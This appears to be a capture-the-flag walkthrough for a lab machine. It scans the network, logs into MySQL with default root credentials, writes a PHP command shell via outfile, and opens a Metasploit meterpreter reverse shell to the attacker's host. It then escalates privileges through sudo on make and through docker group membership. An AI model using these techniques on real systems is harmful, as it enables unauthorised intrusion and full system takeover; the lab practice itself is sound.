Network Scanning

Our First step is Network Scan and finds our target IP address I use Netdiscover Tool

After scan network, our next step is target machine IP Port Scan With Nmap

target system many ports are open like 21,22,25,80,3306,8080

And port 8080 http service running with local tmp directory

After Enumerate port 3306 target machine use mysq_native_password

Now connect MySQL remote connection with password and user root

  • username: root
  • password: password
  • host:

After login target MySQL server I am creating a PHP cmd shell with outfile option

I am generating a simple web_delivery PHP reverse shell payload with Metasploit

  • msfconsole
  • use exploit/multi/script/web_delivery
  • set target 1 (for php reverse shell)
  • set payload php/meterpreter/reverse_tcp
  • set lhost eth0 (for ethernet card)
  • set lport 1122
  • run

we can see our payload target system /var/tmp/cmd.php directory Now execute our payload

As you can see, we are successful in getting our session

Now to get a proper shell session of shell type the following command import python

Now Find our first Flag user.txt

  • cd /home/dusk
  • ls
  • cat user.txt
  • 08ebacf8f4e43f05b8b8b372df24235b

Privilege Escalation

Now see user dusk sudoers file Enter with NOPASSWD: /usr/bin/ping, /usr/bin/make. /usr/bin/sl After searching google I find an exploit make command now exploit user dusk

After executing our exploit my shell is change www-data to user dusk

I am run ID command and I see user dusk docker group member

What is docker

Docker was introduced to meet all the drawbacks of VMware. Docker has developed the concept of containers, it means whichever application you want to run in a virtual environment, the docker will create a container with the application and it’s every dependency.

I am Pull Image ubuntu in docker

I am run ubuntu image with docker and mount a system root partition into a docker image ubuntu and finally, we got a final root flag
